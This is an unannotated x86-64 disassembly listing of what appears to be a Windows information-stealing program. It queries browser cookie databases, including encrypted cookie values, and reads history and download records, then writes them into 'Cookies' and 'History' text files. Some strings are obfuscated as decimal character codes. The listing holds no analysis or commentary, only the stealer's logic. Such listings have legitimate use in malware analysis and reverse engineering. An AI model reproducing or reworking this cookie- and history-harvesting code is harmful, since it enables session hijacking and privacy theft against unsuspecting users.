call fcn.14005f010
nop
lea rdx, [rsp + 0x25f0]
lea rcx, [rsp + 0x25f0]
call fcn.14005f010
nop
lea rcx, [rsp + 0x2678]
call fcn.140047270
nop
lea rcx, [rsp + 0x28c8]
call fcn.140047270
nop
lea rdx, [rsp + 0x2608]
lea rcx, [rsp + 0x2608]
call fcn.14005f010
jmp 0x14002e275
mov qword [rsp + 0x20], r14
lea r9, [rsp + 0x2460]
mov r8d, 0xffffffff
lea rdx, str.SELECT_host_key__name__path__expires_utc__encrypted_value___is_secure___is_httponly_FROM_cookies
call fcn.140181de0
test eax, eax
je 0x140029b58
mov rcx, qword [rsp + 0x2480]
call fcn.14017ede0
nop
lea rcx, [rsp + 0x29e8]
call fcn.140047270
nop
lea rcx, [rsp + 0x2c08]
call fcn.140047270
nop
lea rcx, [rsp + 0x2ce0]
call fcn.140006630
nop
lea rcx, [rsp + 0x3310]
call fcn.14003f6d0
nop
lea rcx, [rsp + 0x2a40]
call fcn.140047270
nop
lea rcx, [rsp + 0x26d0]
call fcn.140043570
nop
lea rcx, [rsp + 0x26b8]
call fcn.1400439f0
nop
lea rcx, [rsp + 0x27a8]
call fcn.140047270
nop
lea rcx, [rsp + 0x2ef0]
call fcn.140010a80
nop
lea rcx, [rsp + 0x2748]
call fcn.140047270
nop
lea rcx, [rsp + 0x28a8]
call fcn.140047270
nop
lea rcx, [rsp + 0x2668]
call fcn.140043850
nop
lea rcx, [rsp + 0x2d60]
call fcn.140013180
nop
lea rcx, [rsp + 0x2728]
call fcn.140047270
nop
lea rcx, [rsp + 0x2888]
call fcn.140047270
nop
lea rcx, [rsp + 0x27e8]
call fcn.140047270
nop
lea rcx, [rsp + 0x2848]
call fcn.140047270
nop
lea rcx, [rsp + 0x2808]
call fcn.140047270
nop
lea rcx, [rsp + 0x2828]
call fcn.140047270
nop
lea rcx, [rsp + 0x2628]
call fcn.140047270
nop
lea rcx, [rsp + 0x2708]
call fcn.140006630
nop
lea rcx, [rsp + 0x2e70]
call fcn.14003f6d0
nop
lea rcx, [rsp + 0x2648]
call fcn.140047270
nop
lea rcx, [rsp + 0x2868]
call fcn.140047270
nop
lea rdx, [rsp + 0x2618]
lea rcx, [rsp + 0x2618]
call fcn.14005f010
nop
lea rdx, [rsp + 0x25f0]
lea rcx, [rsp + 0x25f0]
call fcn.14005f010
nop
lea rcx, [rsp + 0x2678]
call fcn.140047270
nop
lea rcx, [rsp + 0x28c8]
call fcn.140047270
nop
lea rdx, [rsp + 0x2608]
lea rcx, [rsp + 0x2608]
call fcn.14005f010
jmp 0x14002e275
xor r14d, r14d
mov rcx, qword [rsp + 0x2460]
call fcn.140182a40
cmp eax, 0x64
jne 0x14002a083
xor edx, edx
mov rcx, qword [rsp + 0x2460]
call fcn.140183030
mov r15, rax
mov edx, 1
mov rcx, qword [rsp + 0x2460]
call fcn.140183030
mov rbx, rax
mov qword [rsp + 0x60], rax
mov edx, 2
mov rcx, qword [rsp + 0x2460]
call fcn.140183030
mov r12, rax
mov edx, 3
mov rcx, qword [rsp + 0x2460]
call fcn.140183030
mov r13, rax
mov edx, 4
mov rcx, qword [rsp + 0x2460]
call fcn.140183030
mov rdi, rax
mov edx, 5
mov rcx, qword [rsp + 0x2460]
call fcn.140183030
mov rsi, rax
mov edx, 6
mov rcx, qword [rsp + 0x2460]
call fcn.140183030
mov r14, rax
test r15, r15
je 0x140029b55
mov rcx, 0xffffffffffffffff
inc rcx
cmp byte [r15 + rcx], 0
jne 0x140029c13
test rcx, rcx
je 0x140029b55
test rbx, rbx
je 0x140029b55
mov rax, 0xffffffffffffffff
inc rax
cmp byte [rbx + rax], 0
jne 0x140029c36
test rax, rax
je 0x140029b55
test r12, r12
je 0x140029b55
mov rax, 0xffffffffffffffff
nop dword [rax + rax]
inc rax
cmp byte [r12 + rax], 0
jne 0x140029c60
test rax, rax
je 0x140029b55
test r13, r13
je 0x140029b55
mov rax, 0xffffffffffffffff
inc rax
cmp byte [rax + r13], 0
jne 0x140029c83
test rax, rax
je 0x140029b55
test rdi, rdi
je 0x140029b55
mov rax, 0xffffffffffffffff
inc rax
cmp byte [rdi + rax], 0
jne 0x140029ca6
test rax, rax
je 0x140029b55
test rsi, rsi
je 0x140029b55
test r14, r14
je 0x140029b55
mov r8, qword [rsp + 0x26c0]
mov rdx, qword [rsp + 0x26b8]
lea rcx, [rsp + 0x1910]
call fcn.14005c1d0
mov rbx, rax
mov rdx, rdi
lea rcx, [rsp + 0xd40]
call fcn.140011ee0
nop
mov r9, rbx
lea r8, [rsp + 0xd40]
lea rdx, [rsp + 0x3000]
call fcn.14002e410
nop
lea rcx, [rsp + 0xd40]
call fcn.140047270
nop
lea rcx, [rsp + 0x1910]
call fcn.140047270
cmp byte [rsi], 0x31
jne 0x140029d3e
cmp byte [rsi + 1], 0
jne 0x140029d3e
xor eax, eax
jmp 0x140029d43
sbb eax, eax
or eax, 1
lea rdx, [0x1402f5de8]
test eax, eax
lea rdi, [0x1402f5df0]
cmovne rdx, rdi
lea rcx, [rsp + 0x2fa0]
call fcn.140011ee0
nop
cmp byte [r14], 0x31
jne 0x140029d7a
cmp byte [r14 + 1], 0
jne 0x140029d7a
xor r14d, r14d
mov eax, r14d
jmp 0x140029d82
sbb eax, eax
or eax, 1
xor r14d, r14d
lea rdx, [0x1402f5de8]
test eax, eax
cmovne rdx, rdi
lea rcx, [rsp + 0x3080]
call fcn.140011ee0
nop
lea r8, str.Cookies
lea rdx, [0x14035d6f0]
lea rcx, [rsp + 0x2af0]
call fcn.1400256d0
nop
lea rdx, [rsp + 0x2af0]
lea rcx, [rsp + 0xd20]
call fcn.1400524f0
nop
lea rcx, [rsp + 0xd20]
call fcn.140009e70
movzx ebx, al
lea rcx, [rsp + 0xd20]
call fcn.140006630
test bl, bl
jne 0x140029e21
lea rdx, [rsp + 0x2af0]
lea rcx, [rsp + 0xd00]
call fcn.1400524f0
nop
lea rcx, [rsp + 0xd00]
call fcn.14000a170
nop
lea rcx, [rsp + 0xd00]
call fcn.140006630
lea rcx, [rsp + 0x2c28]
call fcn.140046d30
nop
lea rdx, [rsp + 0x2678]
lea rcx, [rsp + 0x2648]
call fcn.140055450
lea r8, [0x1402f30e0]
lea rdx, [rsp + 0x2af0]
test al, al
je 0x140029ece
lea rcx, [rsp + 0x1970]
call fcn.1400256d0
nop
lea r8, [rsp + 0x2708]
mov rdx, rax
lea rcx, [rsp + 0x1950]
call fcn.1400539c0
nop
lea r8, str._Default.txt
mov rdx, rax
lea rcx, [rsp + 0x1930]
call fcn.140053950
mov rdx, rax
lea rcx, [rsp + 0x2c28]
call fcn.140046bb0
lea rcx, [rsp + 0x1930]
call fcn.140006630
nop
lea rcx, [rsp + 0x1950]
call fcn.140006630
nop
lea rcx, [rsp + 0x1970]
jmp 0x140029f8d
lea rcx, [rsp + 0x1a10]
call fcn.1400256d0
nop
lea r8, [rsp + 0x2708]
mov rdx, rax
lea rcx, [rsp + 0x19f0]
call fcn.1400539c0
nop
lea r8, [0x1402f5e3c]
mov rdx, rax
lea rcx, [rsp + 0x19d0]
call fcn.140053950
nop
lea r8, [rsp + 0x2ce0]
mov rdx, rax
lea rcx, [rsp + 0x19b0]
call fcn.1400539c0
nop
lea r8, str..txt
mov rdx, rax
lea rcx, [rsp + 0x1990]
call fcn.140053950
mov rdx, rax
lea rcx, [rsp + 0x2c28]
call fcn.140046bb0
lea rcx, [rsp + 0x1990]
call fcn.140006630
nop
lea rcx, [rsp + 0x19b0]
call fcn.140006630
nop
lea rcx, [rsp + 0x19d0]
call fcn.140006630
nop
lea rcx, [rsp + 0x19f0]
call fcn.140006630
nop
lea rcx, [rsp + 0x1a10]
call fcn.140006630
lea rcx, [rsp + 0x3c50]
call fcn.1400311a0
lea rdx, [rsp + 0x2c28]
lea rcx, [rsp + 0x3c50]
call fcn.14003f230
nop
lea rdx, [rsp + 0x2678]
lea rcx, [rsp + 0x2648]
call fcn.140055450
test al, al
je 0x14002a15f
lea rdx, str.68_101_102_97_117_108_116
lea rcx, [rsp + 0xce0]
call fcn.140011ee0
nop
lea rdx, [rsp + 0xce0]
lea rcx, [rsp + 0x1a30]
call fcn.140026440
mov rdx, rax
mov rcx, qword [rsp + 0x58]
call fcn.140055450
movzx ebx, al
lea rcx, [rsp + 0x1a30]
call fcn.140047270
nop
lea rcx, [rsp + 0xce0]
call fcn.140047270
test bl, bl
jne 0x14002a15f
lea rcx, [rsp + 0x3c50]
call fcn.140031100
nop
lea rcx, [rsp + 0x2c28]
call fcn.140006630
nop
lea rcx, [rsp + 0x2af0]
call fcn.140006630
nop
lea rcx, [rsp + 0x3080]
call fcn.140047270
nop
lea rcx, [rsp + 0x2fa0]
call fcn.140047270
nop
lea rcx, [rsp + 0x3000]
call fcn.140047270
nop
mov rcx, qword [rsp + 0x2460]
call fcn.140164c40
mov rcx, qword [rsp + 0x2480]
call fcn.14017ede0
lea rdx, [rsp + 0x29e8]
lea rcx, [rsp + 0xcc0]
call fcn.14005bb10
nop
lea rcx, [rsp + 0xcc0]
call fcn.140009e70
movzx ebx, al
lea rcx, [rsp + 0xcc0]
call fcn.140006630
test bl, bl
je 0x14002a105
lea rdx, [rsp + 0x29e8]
lea rcx, [rsp + 0xca0]
call fcn.14005bb10
nop
lea rcx, [rsp + 0xca0]
call fcn.140009f30
nop
lea rcx, [rsp + 0xca0]
call fcn.140006630
lea r13, [0x1402f5bdc]
mov rdi, qword [rsp + 0x48]
lea rcx, [rsp + 0x29e8]
call fcn.140047270
nop
lea rcx, [rsp + 0x2c08]
call fcn.140047270
nop
lea rcx, [rsp + 0x2ce0]
call fcn.140006630
nop
lea rcx, [rsp + 0x3310]
call fcn.14003f6d0
nop
lea rcx, [rsp + 0x2a40]
call fcn.140047270
add rdi, 0x20
jmp 0x14002938f
mov rdx, r15
lea rcx, [rsp + 0x3c50]
call fcn.140053ef0
lea rdx, reloc.OLEAUT32.dll_VariantCopy
mov rcx, rax
call fcn.140053ef0
lea rdx, [rsp + 0x2fa0]
mov rcx, rax
call fcn.140053ed0
lea rdx, reloc.OLEAUT32.dll_VariantCopy
mov rcx, rax
call fcn.140053ef0
mov rdx, r12
mov rcx, rax
call fcn.140053ef0
lea rdx, reloc.OLEAUT32.dll_VariantCopy
mov rcx, rax
call fcn.140053ef0
lea rdx, [rsp + 0x3080]
mov rcx, rax
call fcn.140053ed0
lea rdx, reloc.OLEAUT32.dll_VariantCopy
mov rcx, rax
call fcn.140053ef0
mov rdx, r13
mov rcx, rax
call fcn.140053ef0
lea rdx, reloc.OLEAUT32.dll_VariantCopy
mov rcx, rax
call fcn.140053ef0
mov rdx, qword [rsp + 0x60]
mov rcx, rax
call fcn.140053ef0
lea rdx, reloc.OLEAUT32.dll_VariantCopy
mov rcx, rax
call fcn.140053ef0
lea rdx, [rsp + 0x3000]
mov rcx, rax
call fcn.140053ed0
mov rcx, rax
call fcn.14005ab50
lea rcx, [rsp + 0x3c50]
call fcn.14003f190
nop
lea rcx, [rsp + 0x3c50]
call fcn.140031100
nop
lea rcx, [rsp + 0x2c28]
call fcn.140006630
nop
lea rcx, [rsp + 0x2af0]
call fcn.140006630
nop
lea rcx, [rsp + 0x3080]
call fcn.140047270
nop
lea rcx, [rsp + 0x2fa0]
call fcn.140047270
nop
lea rcx, [rsp + 0x3000]
call fcn.140047270
nop
jmp 0x140029b58
mov r12, qword [rsp + 0x26d0]
mov rax, qword [rsp + 0x26d8]
mov qword [rsp + 0x60], rax
mov r13d, dword [rsp + 0x40]
lea rsi, [0x140343cb0]
lea rdi, [0x1402f5bdc]
mov qword [rsp + 0x2600], r12
cmp r12, qword [rsp + 0x60]
je 0x14002b9a0
mov r15, r12
mov qword [rsp + 0x48], r12
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x3140], xmm0
movups xmmword [rsp + 0x3150], xmm0
movups xmmword [rsp + 0x3160], xmm0
movups xmmword [rsp + 0x3170], xmm0
movups xmmword [rsp + 0x3180], xmm0
movups xmmword [rsp + 0x3190], xmm0
movups xmmword [rsp + 0x31a0], xmm0
mov qword [rsp + 0x31b0], rax
lea rcx, [rsp + 0x3140]
call fcn.14003f7c0
nop
mov r8, r12
cmp qword [r12 + 0x18], 0xf
jbe 0x14002a33d
mov r8, qword [r12]
mov r9, qword [r12 + 0x10]
add r9, r8
lea rdx, [rsp + 0x29b0]
lea rcx, [rsp + 0x3140]
call fcn.14004b290
bts r13d, 0x18
movabs rax, 0x7fffffffffffffff
mov rcx, qword [rsp + 0x2638]
sub rax, rcx
cmp rax, 1
jb 0x14002e2a7
lea r9, [rsp + 0x2628]
cmp qword [rsp + 0x2640], 0xf
cmova r9, qword [rsp + 0x2628]
mov qword [rsp + 0x30], 1
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rcx
lea r8, [rsp + 0x2628]
movzx edx, byte [rsp + 0x50]
lea rcx, [rsp + 0x270]
call fcn.14006a0e0
bts r13d, 0x19
mov rdx, r12
cmp qword [r12 + 0x18], 0xf
jbe 0x14002a3d9
mov rdx, qword [r12]
mov r8, qword [r12 + 0x10]
lea rcx, [rsp + 0x270]
call fcn.1400470b0
xorps xmm0, xmm0
movups xmmword [rsp + 0x28f8], xmm0
mov qword [rsp + 0x2908], r14
mov qword [rsp + 0x2910], r14
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x28f8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x2908], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
bts r13d, 0x17
mov rdx, qword [rsp + 0x288]
cmp rdx, 0xf
jbe 0x14002a474
inc rdx
mov rcx, qword [rsp + 0x270]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002a46f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002e2d6
call fcn.14025e770
mov qword [rsp + 0x280], r14
mov qword [rsp + 0x288], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x270], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x27c8], xmm0
mov qword [rsp + 0x27d8], r14
mov qword [rsp + 0x27e0], 0xf
mov byte [rsp + 0x27c8], 0
movups xmmword [rsp + 0x2788], xmm0
mov qword [rsp + 0x2798], r14
mov qword [rsp + 0x27a0], 0xf
mov byte [rsp + 0x2788], 0
lea rdx, [rsp + 0x2678]
cmp qword [rsp + 0x2690], 0xf
cmova rdx, qword [rsp + 0x2678]
lea rcx, [rsp + 0x2648]
cmp qword [rsp + 0x2660], 0xf
cmova rcx, qword [rsp + 0x2648]
mov r8, qword [rsp + 0x2658]
cmp r8, qword [rsp + 0x2688]
jne 0x14002a62a
call fcn.14029f630
test eax, eax
jne 0x14002a62a
lea rdx, [0x1402f5e48]
lea rcx, [rsp + 0xc80]
call fcn.140011ee0
nop
lea rdx, [rsp + 0xc80]
lea rcx, [rsp + 0x1a70]
call fcn.140026440
nop
mov r8, rax
lea rdx, [rsp + 0x2628]
lea rcx, [rsp + 0x1a50]
call fcn.140052240
mov rdx, rax
lea rcx, [rsp + 0x27c8]
call fcn.1400472d0
lea rcx, [rsp + 0x1a50]
call fcn.140047270
nop
lea rcx, [rsp + 0x1a70]
call fcn.140047270
nop
lea rcx, [rsp + 0xc80]
call fcn.140047270
lea rdx, str.92_70_114_101_100_121_95_72_105_115_116_111_114_121
lea rcx, [rsp + 0xc40]
call fcn.140011ee0
nop
lea rdx, [rsp + 0xc40]
lea rcx, [rsp + 0xef0]
call fcn.140026440
nop
mov r8, rax
lea rdx, [rsp + 0x2628]
lea rcx, [rsp + 0xed0]
call fcn.140052240
mov rdx, rax
lea rcx, [rsp + 0x2788]
call fcn.1400472d0
lea rcx, [rsp + 0xed0]
call fcn.140047270
nop
lea rcx, [rsp + 0xef0]
call fcn.140047270
nop
lea rcx, [rsp + 0xc40]
jmp 0x14002a71d
lea rdx, [0x1402f5e48]
lea rcx, [rsp + 0xc20]
call fcn.140011ee0
nop
lea rdx, [rsp + 0xc20]
lea rcx, [rsp + 0xf30]
call fcn.140026440
nop
mov r8, rax
lea rdx, [rsp + 0x28f8]
lea rcx, [rsp + 0xf10]
call fcn.140052240
mov rdx, rax
lea rcx, [rsp + 0x27c8]
call fcn.1400472d0
lea rcx, [rsp + 0xf10]
call fcn.140047270
nop
lea rcx, [rsp + 0xf30]
call fcn.140047270
nop
lea rcx, [rsp + 0xc20]
call fcn.140047270
lea rdx, str.92_70_114_101_100_121_95_72_105_115_116_111_114_121
lea rcx, [rsp + 0xbe0]
call fcn.140011ee0
nop
lea rdx, [rsp + 0xbe0]
lea rcx, [rsp + 0xf70]
call fcn.140026440
nop
mov r8, rax
lea rdx, [rsp + 0x28f8]
lea rcx, [rsp + 0xf50]
call fcn.140052240
mov rdx, rax
lea rcx, [rsp + 0x2788]
call fcn.1400472d0
lea rcx, [rsp + 0xf50]
call fcn.140047270
nop
lea rcx, [rsp + 0xf70]
call fcn.140047270
nop
lea rcx, [rsp + 0xbe0]
call fcn.140047270
lea rax, [rsp + 0x27c8]
cmp qword [rsp + 0x27e0], 0xf
cmova rax, qword [rsp + 0x27c8]
mov qword [rsp + 0x2f0], rax
mov rax, qword [rsp + 0x27d8]
mov qword [rsp + 0x2f8], rax
call fcn.14023f504
movaps xmm0, xmmword [rsp + 0x2f0]
movdqa xmmword [rsp + 0x25e0], xmm0
lea r8, [rsp + 0x25e0]
mov edx, eax
lea rcx, [rsp + 0x240]
call fcn.140005720
or r13d, 0x600000
mov dword [rsp + 0x40], r13d
mov dword [rsp + 0x44], r13d
mov r8d, 3
lea rdx, [rsp + 0x240]
lea rcx, [rsp + 0xea0]
call fcn.140009f80
movsd xmm0, qword [rax]
movsd qword [rsp + 0x3c0], xmm0
mov ecx, dword [rax + 8]
mov dword [rsp + 0x2d0], ecx
mov qword [rsp + 0x2d8], rsi
movaps xmm0, xmmword [rsp + 0x2d0]
movdqa xmmword [rsp + 0x25e0], xmm0
mov eax, dword [rsp + 0x3c0]
test eax, eax
je 0x14002a843
mov dword [rsp + 0x25e0], r14d
mov qword [rsp + 0x25e8], rsi
cmp eax, 1
setne bl
mov rdx, qword [rsp + 0x258]
cmp rdx, 7
jbe 0x14002a854
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x240]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002a84f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002e2ad
jmp 0x14002a84f
xor bl, bl
test ecx, ecx
jne 0x14002e2b3
jmp 0x14002a7fe
call fcn.14025e770
mov qword [rsp + 0x250], r14
mov qword [rsp + 0x258], 7
mov word [rsp + 0x240], r14w
test bl, bl
je 0x14002b735
lea rdx, [rsp + 0x2788]
lea rcx, [rsp + 0xbc0]
call fcn.14005bb10
nop
lea rcx, [rsp + 0xbc0]
call fcn.140009e70
movzx ebx, al
lea rcx, [rsp + 0xbc0]
call fcn.140006630
test bl, bl
je 0x14002a8e1
lea rdx, [rsp + 0x2788]
lea rcx, [rsp + 0xba0]
call fcn.14005bb10
nop
lea rcx, [rsp + 0xba0]
call fcn.140009f30
nop
lea rcx, [rsp + 0xba0]
call fcn.140006630
lea rdx, [rsp + 0x2788]
lea rcx, [rsp + 0xa00]
call fcn.14005bb10
nop
lea rdx, [rsp + 0x27c8]
lea rcx, [rsp + 0xb80]
call fcn.14005bb10
nop
lea rdx, [rsp + 0xa00]
lea rcx, [rsp + 0xb80]
call fcn.140009e10
movzx ebx, al
lea rcx, [rsp + 0xb80]
call fcn.140006630
nop
lea rcx, [rsp + 0xa00]
call fcn.140006630
test bl, bl
je 0x14002b735
lea rcx, [rsp + 0x2788]
call fcn.140046fe0
mov rcx, rax
lea rdx, [rsp + 0x2468]
call fcn.140180f50
mov rcx, qword [rsp + 0x2468]
test eax, eax
je 0x14002ab2d
call fcn.14017ede0
nop
lea rcx, [rsp + 0x2788]
call fcn.140047270
nop
lea rcx, [rsp + 0x27c8]
call fcn.140047270
nop
lea rcx, [rsp + 0x28f8]
call fcn.140047270
nop
lea rcx, [rsp + 0x29b0]
call fcn.140006630
nop
lea rcx, [rsp + 0x3140]
call fcn.14003f6d0
nop
lea rcx, [rsp + 0x26d0]
call fcn.140043570
nop
lea rcx, [rsp + 0x26b8]
call fcn.1400439f0
nop
lea rcx, [rsp + 0x27a8]
call fcn.140047270
nop
lea rcx, [rsp + 0x2ef0]
call fcn.140010a80
nop
lea rcx, [rsp + 0x2748]
call fcn.140047270
nop
lea rcx, [rsp + 0x28a8]
call fcn.140047270
nop
lea rcx, [rsp + 0x2668]
call fcn.140043850
nop
lea rcx, [rsp + 0x2d60]
call fcn.140013180
nop
lea rcx, [rsp + 0x2728]
call fcn.140047270
nop
lea rcx, [rsp + 0x2888]
call fcn.140047270
nop
lea rcx, [rsp + 0x27e8]
call fcn.140047270
nop
lea rcx, [rsp + 0x2848]
call fcn.140047270
nop
lea rcx, [rsp + 0x2808]
call fcn.140047270
nop
lea rcx, [rsp + 0x2828]
call fcn.140047270
nop
lea rcx, [rsp + 0x2628]
call fcn.140047270
nop
lea rcx, [rsp + 0x2708]
call fcn.140006630
nop
lea rcx, [rsp + 0x2e70]
call fcn.14003f6d0
nop
lea rcx, [rsp + 0x2648]
call fcn.140047270
nop
lea rcx, [rsp + 0x2868]
call fcn.140047270
nop
lea rdx, [rsp + 0x2618]
lea rcx, [rsp + 0x2618]
call fcn.14005f010
nop
lea rdx, [rsp + 0x25f0]
lea rcx, [rsp + 0x25f0]
call fcn.14005f010
nop
lea rcx, [rsp + 0x2678]
call fcn.140047270
nop
lea rcx, [rsp + 0x28c8]
call fcn.140047270
nop
lea rdx, [rsp + 0x2608]
lea rcx, [rsp + 0x2608]
call fcn.14005f010
jmp 0x14002e275
mov qword [rsp + 0x20], r14
lea r9, [rsp + 0x2458]
mov r8d, 0xffffffff
lea rdx, str.SELECT_url___title__visit_count_FROM_urls
call fcn.140181de0
test eax, eax
je 0x14002ad17
mov rcx, qword [rsp + 0x2468]
call fcn.14017ede0
nop
lea rcx, [rsp + 0x2788]
call fcn.140047270
nop
lea rcx, [rsp + 0x27c8]
call fcn.140047270
nop
lea rcx, [rsp + 0x28f8]
call fcn.140047270
nop
lea rcx, [rsp + 0x29b0]
call fcn.140006630
nop
lea rcx, [rsp + 0x3140]
call fcn.14003f6d0
nop
lea rcx, [rsp + 0x26d0]
call fcn.140043570
nop
lea rcx, [rsp + 0x26b8]
call fcn.1400439f0
nop
lea rcx, [rsp + 0x27a8]
call fcn.140047270
nop
lea rcx, [rsp + 0x2ef0]
call fcn.140010a80
nop
lea rcx, [rsp + 0x2748]
call fcn.140047270
nop
lea rcx, [rsp + 0x28a8]
call fcn.140047270
nop
lea rcx, [rsp + 0x2668]
call fcn.140043850
nop
lea rcx, [rsp + 0x2d60]
call fcn.140013180
nop
lea rcx, [rsp + 0x2728]
call fcn.140047270
nop
lea rcx, [rsp + 0x2888]
call fcn.140047270
nop
lea rcx, [rsp + 0x27e8]
call fcn.140047270
nop
lea rcx, [rsp + 0x2848]
call fcn.140047270
nop
lea rcx, [rsp + 0x2808]
call fcn.140047270
nop
lea rcx, [rsp + 0x2828]
call fcn.140047270
nop
lea rcx, [rsp + 0x2628]
call fcn.140047270
nop
lea rcx, [rsp + 0x2708]
call fcn.140006630
nop
lea rcx, [rsp + 0x2e70]
call fcn.14003f6d0
nop
lea rcx, [rsp + 0x2648]
call fcn.140047270
nop
lea rcx, [rsp + 0x2868]
call fcn.140047270
nop
lea rdx, [rsp + 0x2618]
lea rcx, [rsp + 0x2618]
call fcn.14005f010
nop
lea rdx, [rsp + 0x25f0]
lea rcx, [rsp + 0x25f0]
call fcn.14005f010
nop
lea rcx, [rsp + 0x2678]
call fcn.140047270
nop
lea rcx, [rsp + 0x28c8]
call fcn.140047270
nop
lea rdx, [rsp + 0x2608]
lea rcx, [rsp + 0x2608]
call fcn.14005f010
jmp 0x14002e275
xor r14d, r14d
mov rcx, qword [rsp + 0x2458]
call fcn.140182a40
cmp eax, 0x64
jne 0x14002b06e
xor edx, edx
mov rcx, qword [rsp + 0x2458]
call fcn.140183030
mov rdi, rax
mov edx, 1
mov rcx, qword [rsp + 0x2458]
call fcn.140183030
mov rsi, rax
mov edx, 2
mov rcx, qword [rsp + 0x2458]
call fcn.140183030
mov r14, rax
test rdi, rdi
je 0x14002ad14
mov rcx, 0xffffffffffffffff
inc rcx
cmp byte [rdi + rcx], 0
jne 0x14002ad75
test rcx, rcx
je 0x14002ad14
test rsi, rsi
je 0x14002ad14
mov rax, 0xffffffffffffffff
nop
inc rax
cmp byte [rsi + rax], 0
jne 0x14002ad90
test rax, rax
je 0x14002ad14
lea r8, str.History
lea rdx, [0x14035d6f0]
lea rcx, [rsp + 0x2ad0]
call fcn.1400256d0
nop
lea rdx, [rsp + 0x2ad0]
lea rcx, [rsp + 0x9e0]
call fcn.1400524f0
nop
lea rcx, [rsp + 0x9e0]
call fcn.140009e70
movzx ebx, al
lea rcx, [rsp + 0x9e0]
call fcn.140006630
test bl, bl
jne 0x14002ae26
lea rdx, [rsp + 0x2ad0]
lea rcx, [rsp + 0x9c0]
call fcn.1400524f0
nop
lea rcx, [rsp + 0x9c0]
call fcn.14000a170
nop
lea rcx, [rsp + 0x9c0]
call fcn.140006630
lea rcx, [rsp + 0x2be8]
call fcn.140046d30
nop
lea rdx, [rsp + 0x2678]
lea rcx, [rsp + 0x2648]
call fcn.140055450
lea r8, [0x1402f30e0]
lea rdx, [rsp + 0x2ad0]
test al, al
je 0x14002aed3
lea rcx, [rsp + 0xfd0]
call fcn.1400256d0
nop
lea r8, [rsp + 0x2708]
mov rdx, rax
lea rcx, [rsp + 0xfb0]
call fcn.1400539c0
nop
lea r8, str._Default.txt
mov rdx, rax
lea rcx, [rsp + 0xf90]
call fcn.140053950
mov rdx, rax
lea rcx, [rsp + 0x2be8]
call fcn.140046bb0
lea rcx, [rsp + 0xf90]
call fcn.140006630
nop
lea rcx, [rsp + 0xfb0]
call fcn.140006630
nop
lea rcx, [rsp + 0xfd0]
jmp 0x14002af92
lea rcx, [rsp + 0x1070]
call fcn.1400256d0
nop
lea r8, [rsp + 0x2708]
mov rdx, rax
lea rcx, [rsp + 0x1050]
call fcn.1400539c0
nop
lea r8, [0x1402f5e3c]
mov rdx, rax
lea rcx, [rsp + 0x1030]
call fcn.140053950
nop
lea r8, [rsp + 0x29b0]
mov rdx, rax
lea rcx, [rsp + 0x1010]
call fcn.1400539c0
nop
lea r8, str..txt
mov rdx, rax
lea rcx, [rsp + 0xff0]
call fcn.140053950
mov rdx, rax
lea rcx, [rsp + 0x2be8]
call fcn.140046bb0
lea rcx, [rsp + 0xff0]
call fcn.140006630
nop
lea rcx, [rsp + 0x1010]
call fcn.140006630
nop
lea rcx, [rsp + 0x1030]
call fcn.140006630
nop
lea rcx, [rsp + 0x1050]
call fcn.140006630
nop
lea rcx, [rsp + 0x1070]
call fcn.140006630
lea rcx, [rsp + 0x3510]
call fcn.1400311a0
lea rdx, [rsp + 0x2be8]
lea rcx, [rsp + 0x3510]
call fcn.14003f230
nop
cmp qword [rsp + 0x3598], 0
je 0x14002b4c2
lea rdx, [rsp + 0x2678]
lea rcx, [rsp + 0x2648]
call fcn.140055450
test al, al
je 0x14002b423
lea rdx, str.68_101_102_97_117_108_116
lea rcx, [rsp + 0x9a0]
call fcn.140011ee0
nop
lea rdx, [rsp + 0x9a0]
lea rcx, [rsp + 0x1090]
call fcn.140026440
mov rdx, rax
mov rcx, r15
call fcn.140055450
movzx ebx, al
lea rcx, [rsp + 0x1090]
call fcn.140047270
nop
lea rcx, [rsp + 0x9a0]
call fcn.140047270
test bl, bl
jne 0x14002b423
lea rcx, [rsp + 0x3510]
call fcn.140031100
nop
lea rcx, [rsp + 0x2be8]
call fcn.140006630
nop
lea rcx, [rsp + 0x2ad0]
call fcn.140006630
nop
xor r14d, r14d
mov rcx, qword [rsp + 0x2458]
call fcn.140164c40
mov qword [rsp + 0x20], r14
lea r9, [rsp + 0x2458]
mov r8d, 0xffffffff
lea rdx, str.SELECT_target_path__tab_url_FROM_downloads
mov rcx, qword [rsp + 0x2468]
call fcn.140181de0
test eax, eax
je 0x14002b270
mov rcx, qword [rsp + 0x2468]
call fcn.14017ede0
nop
lea rcx, [rsp + 0x2788]
call fcn.140047270
nop
lea rcx, [rsp + 0x27c8]
call fcn.140047270
nop
lea rcx, [rsp + 0x28f8]
call fcn.140047270
nop
lea rcx, [rsp + 0x29b0]
call fcn.140006630
nop
lea rcx, [rsp + 0x3140]
call fcn.14003f6d0
nop
lea rcx, [rsp + 0x26d0]
call fcn.140043570
nop
lea rcx, [rsp + 0x26b8]
call fcn.1400439f0
nop
lea rcx, [rsp + 0x27a8]
call fcn.140047270
nop
lea rcx, [rsp + 0x2ef0]
call fcn.140010a80
nop
lea rcx, [rsp + 0x2748]
call fcn.140047270
nop
lea rcx, [rsp + 0x28a8]
call fcn.140047270
nop
lea rcx, [rsp + 0x2668]
call fcn.140043850
nop
lea rcx, [rsp + 0x2d60]
call fcn.140013180
nop
lea rcx, [rsp + 0x2728]
call fcn.140047270
nop
lea rcx, [rsp + 0x2888]
call fcn.140047270
nop
lea rcx, [rsp + 0x27e8]
call fcn.140047270
nop
lea rcx, [rsp + 0x2848]
call fcn.140047270
nop
lea rcx, [rsp + 0x2808]
call fcn.140047270
nop
lea rcx, [rsp + 0x2828]
call fcn.140047270
nop
lea rcx, [rsp + 0x2628]
call fcn.140047270
nop
lea rcx, [rsp + 0x2708]
